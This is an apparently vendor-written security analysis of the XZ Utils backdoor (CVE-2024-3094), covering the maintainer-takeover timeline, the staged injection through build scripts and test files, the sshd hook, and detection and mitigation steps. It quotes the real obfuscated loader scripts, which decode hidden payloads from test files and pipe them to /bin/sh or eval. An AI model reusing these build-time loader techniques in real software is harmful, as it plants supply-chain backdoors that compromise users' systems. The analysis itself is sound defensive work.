CVE-2024-3094 - The XZ Utils Backdoor, a critical SSH vulnerability in Linux

Context

xz backdoor

XZ Utils, formerly LZMA Utils, is a set of open-source command-line tools and libraries for lossless data compression, the most noteworthy tool being "XZ." The toolset comes installed by default on most modern Linux distributions.

On March 29, 2024, Andres Freund, a Microsoft software engineer, alerted the open-source community about a SSH backdoor in XZ versions 5.6.0 and 5.6.1.

security backdoor

The SSH backdoor would allow remote unauthenticated attackers to achieve remote code execution on the infected systems bypassing the authentication in place. It was assigned CVE-2024-3094 with the maximum CVSS score - 10.

From the information available at the time of writing, the backdoor seems to work only on GNU Linux x86/64 when the SSH server is run as a service by Systemd. Moreover, the library should have been installed by a packet manager.

For the exploit to work, one should also expose the SSH server to the Internet so the attacker can interact remotely with it.

Timeline of events

xz utils backdoor timeline (CVE-2024-3094) Original poster: https://twitter.com/fr0gger_/status/1774342248437813525/photo/1

2021 - Account creation and first suspicious contributions

JiaT75 (Jia Tan) creates their GitHub account.

Jia Tan GitHub account

On November 16, they opened their first PR in the libarchive repo, titled "Added error text to warning when untaring with bsdtar."

However, the PR did more than stated, replacing "safe_fprint" with an unsafe variant. There is no proof this was used to create another backdoor. However, maintainers reverted the commit after the XZ backdoor event became public.

2022 - First signs of interest in XZ and pressure to take over the project

On March 10, 2022, Jia Tan made their first appearance on the project mailing list, followed shortly by a small code contribution on March 15, 2022.

On April 19, 2022, Jia Tan submitted a patch via the mailing list. While the patch itself is irrelevant, it's followed by Jigar Kumar's appearance. There is pressure to merge the patch.

On May 19, 2022, Dennis Ens sent a message to the mailing list, taunting the idea that the project's development speed was too slow. Jigar Kumar participated in the discussion too, and pressured Lasse Collin (the original maintainer) to add a new maintainer to the project.

Also, in this discussion, we see Jia Tan mentioned working with Lasse off-list and hints at his crucial future role in the project.

Jigar Kumar and Dennis Ens are accounts that only participate in the mailing list for these two events. They were never seen outside the XZ discussion, and no associated accounts were discovered.

2023 - Taking over the project and laying the foundation for the backdoor

On January 7, 2023, JiaT75 merged their first commit, and in March, they became the primary contact email in Google's oss-fuzz, signalling the trust they achieved in the project.

On June 27, 2023, Jia Tan committed the testing infrastructure used by the exploit, written by Hans Jansen.

Again, we have an account - Hans Jansen - with very little activity outside the XZ project and, more importantly, outside of a sole step to the final goal - the backdoor.

2024 - Implanting the backdoor and launching it into the wild

On February 11, 2024, JiaT75 changed the project's homepage from tukaani.org/xz/ to xz.tukaani.org/xz-utils/. This action furthers Jia's control over the project.

Finally, on February 23 and March 9, 2024, the final step to achieving the backdoor was executed: the actual code was committed to the project via two commits - Tests: Add a few test files and Tests: Update two test files.

On March 25, 2024, Hans Jansen starts pushing to include the backdoored version in Debian. Several other suspicious, anonymous name+number accounts with little former activity also push for its inclusion, including misoeater91 and krygorin4545. krygorin4545's PGP key is only one day older than the discussion. Jia Tan also tried to get the backdoored version into Ubuntu before the beta freeze but failed.

On March 29, 2024, Andres Freund alerts the oss-security mailing list about the discovery of the backdoor.

Technical insights into this Linux backdoor

The exploit is intricate and has several stages.

Stage 1

First, Jia Tan changed the CMakeLists.txt file so it never enables the Landlock sandbox check. This modification was patched by Lasse Collin on March 30.

Using the m4/build-to-host.m4, the attacker executes the following lines of code:

...

gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

...

gl_path_map='tr "\t \-_" " \t_\-"'

…

Put very shortly these lines read bytes from "tests/files/bad-3-corrupt_lzma2.xz," a seemingly harmless test file, and add a new line at the end. Then, using the "tr" command, they modify the file so that instead of a corrupt XZ archive, it becomes a valid one. In the end, the file will be unarchived, ignoring possible errors.

This step produces the following bash file, which gets immediately executed.

####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Stage 2

First, the script checks if it's running on Linux. If it's not, then the exploit finishes here.

The following interesting tidbit is the significant "i" export, which acts more or less as a function. This function consists only of head operations, which skip some read bytes and pass the rest to the next operation. It follows a pattern of skipping 1024 bytes and outputting 2048 until the end when it outputs 939 bytes. The behavior extracts the needed bytes from their known offsets to recompose a malicious payload.

On execution, this script decompresses another test file, applies the "i" function we discussed earlier, and ignores the first 31233 bytes (keep this in the back of your mind for later). It then performs another round of "translating" bytes, serving as a simple substitution cipher. With the data deciphered, it decompresses and executes again.

This time, the executed file is referred to as "injected.txt" in the original disclosure mail written by Andres Freund. It serves as the third step of this exploit.

Stage 3

This stage has two intriguing features.

Extension mechanism

The fragments below are so similar that we’ll treat them as one.

vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

First, the script looks for files in the "tests/files" directory containing given signatures. Using the grep and cut commands, the script gets the offsets at which these signatures exist. Then, the offsets are used to extract the bytes between them from the file containing the start offset.

Further on, like in the previous step, the bytes are deciphered, decompressed, and executed.

As no files with the given signatures were found in the 5.6.1 version, this was a way of adding new functionalities to the exploit in the future.

Why would the attacker create this extension mechanism instead of simply modifying the payload from the previous step? Modifying a test file might seem suspicious for a reviewer without a good reason while adding test files for different use cases might not.

Extraction mechanism

The second significant role of step 3 is extracting the binary file. Remember those 31233 bytes skipped at step 2? The script ignored them then because of this.

After decompressing the same test file, the "i" function (from step 2) extracts the needed data. However, this time, sed inserts a new line after each byte. An awk script parses the output, performing what seems to be RC4 decryption.

The script decompresses the decrypted data and extracts the first 88664 bytes into the liblzma_la-crc64-fast.o object.

The binary backdoor

Now that we know how the backdoor gets injected into vulnerable systems, it is time to check how the binary itself works.

First, the binary does some checks to prevent it from running in certain circumstances. If the TERM, DISPLAY, or WAYLAND_DISPLAY, LD_DEBUG, LD_PROFILE environment variables are not null, SSHD will execute normally, as seen in the screenshots below. Another peculiar aspect is a kill switch, whose presence in the LC_LANG environment variable also makes SSHD run normally.

The liblzma hooking process

Then, the malicious code hooks the RSA_decrypt function via IFUNC. IFUNC is a mechanism in glibc that allows for indirect function calls and is used to perform runtime hooking/redirection of OpenSSH's authentication routines. Before implementing the backdoor, Jia Tan contributed to IFUNC.

Via this hook, the binary examines the RSA public modulus ("N" value) passed inside the RSA struct. The value is decoded with a hardcoded decryption key, and the data's validity is checked using the ED448 elliptic curve signing algorithm.

This is important for two main reasons:

As ED448 is an asymmetric signing algorithm, only the attacker can generate valid payloads for the backdoor (at least in regular running conditions);
The signature is bound to the host's public key, so we can't reuse received packets on different hosts.

If the data is valid, the payload gets executed as a shell command using system().

In addition, the payload can be configured to also simply call pselect()with a timeout of 5 seconds, and then exit. The reasoning behind this might be creating a simple and more stealth detection mechanism. However, even this payload requires a valid signature with the attacker’s private key, which at the moment is unknown.

So, no demo? :(

Thankfully, using the details and scripts provided in this repo, we patched the shared object and made it accept a known RSA key. We achieved Remote Code Execution via the backdoor, as seen below.

How to achieve Remote Code Execution using the XZ Utils backdoor

This is an out-of-band remote code execution vulnerability which implies the need for a potential attacker of a command-and-control infrastructure as well, in order to exploit it.

Does CVE-2024-3094 affect my machine?

The most straightforward and safe way to check if you have the backdoored version on your machine is to run strings which xz | grep '5\.6\.[01]'.

Vulnerable:

strings $(which xz) | grep '5\.6\.[01]'

xz (XZ Utils) 5.6.1

Not vulnerable:

strings $(which xz) | grep '5\.6\.[01]'

If you are vulnerable, patch immediately by upgrading the package. Even if this backdoor can be disabled by using the killswitch environmental variable we talked about earlier, considering the numerous contributions Jia Tan made to the library, it’s better to revert to a version before his implication in the project.

Lessons learned from CVE-2024-3094

In the end, one curious dev saved the world.

However, as Andres Freund said, the discovery process "really required a lot of coincidences." Had the exploit not increased the running time of SSH, maybe CVE-2024-3094 would still be in the wild today.

Nowadays, projects have intricate dependencies that the original developers don’t even add (as is the case for this exploit), which makes everything even more challenging to handle and inspect.

Supply-chain attacks are a severe and often overlooked issue, and this case might be just the tip of the iceberg.

In the short term, the cybersecurity world should ensure that every contribution made by Jia Tan and the other puppet accounts will be scrutinized and patched if necessary.

In the long run, there are multiple consequences of this incident.

The backdoored package only managed to find its way into unstable releases, such as Debian unstable, Fedora Rawhide, and others. This incident proved once again how important it is to use stable releases in production environments and sensitive infrastructure.

Open source turned out to be a double-edged sword. One can never know the true intention behind a commit, and Jia Tan proved this to the world. On the other hand, this situation also proved Linus' law - "with enough eyes, all bugs are shallow." As the Node.js Security team pointed out, this backdoor might've been more challenging to find, and the response time might have been slower.

The XZ backdoor was possible because a single person maintained a critical dependency in their free time for little to no money.

Does this sound familiar?

If it does, it might be because this was the case with OpenSSL, which was maintained by a handful of volunteers, only one of whom worked full-time. A pattern arises here; maybe in the future, more will be done to ensure the pattern won't repeat.

Until then, concerns such as Marcus Hutchins’ are valid - the above mentioned “many eyes” theory becomes a myth, when only two eyes are looking at a codebase that affects millions of people and hundreds of products.

XZ backddor As the comic above @turnoff.us shows, while XZ captured everyone's attention, it is impossible to know how many more open-source projects have such critical vulnerabilities that no one knows about. This incident should be a wake-up call for everyone to take their AppSec seriously and prepare scenarios for supply-chain attacks.

FAQs about CVE-2024-3094, the XZ Utils Backdoor

What is XZ Utils and what is the library used for?

XZ Utils, formerly LZMA Utils, is a set of open-source command-line tools and libraries for lossless data compression. The most important tool in this set is "XZ."

The toolset comes installed by default on most modern Linux distributions.

How was CVE-2024-3094 - the backdoor - discovered?

On March 29, 2024, Andres Freund, a Microsoft software engineer, alerted the open-source community about a SSH backdoor in XZ versions 5.6.0 and 5.6.1.

He noticed that SSH authentication via public key was taking longer than usual, so he started searching for the root cause of this performance issue.

While doing that, he discovered the root cause was the backdoor.

More information about how Freund made the discovery can be found on the vulnerability’s Wikipedia page.

What is the impact of CVE-2024-3094?

The vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the affected target, as the user running the SSH service.

Can this Linux backdoor (CVE-2024-3094) affect me?

For this backdoor to affect your machine, it should meet the following criteria:

It should run Linux x86/64
You should have XZ versions 5.6.0 or 5.6.1 installed by a package manager
Your distribution should link SSHD with libsystemd, and systemd with libzma
SSHD must be run as a service by Systemd
Your SSHD server must be exposed to the internet.

How can I mitigate CVE-2024-3094?

The safest way to mitigate the risk of this Linux backdoor is to follow the advice from the Cybersecurity and Infrastructure Security Agency (CISA). Their recommendation is to downgrade XZ Utils to an uncompromised version - such as XZ Utils 5.4.6 Stable.

Is this Linux vulnerability exploited in the wild?

At the moment, there is no proof of exploitation in the wild of CVE-2024-3094 and there is no proof of the backdoor calling home so far. Moreover, due to its nature, an attacker can only exploit this vulnerability if they have access to the creator’s private key.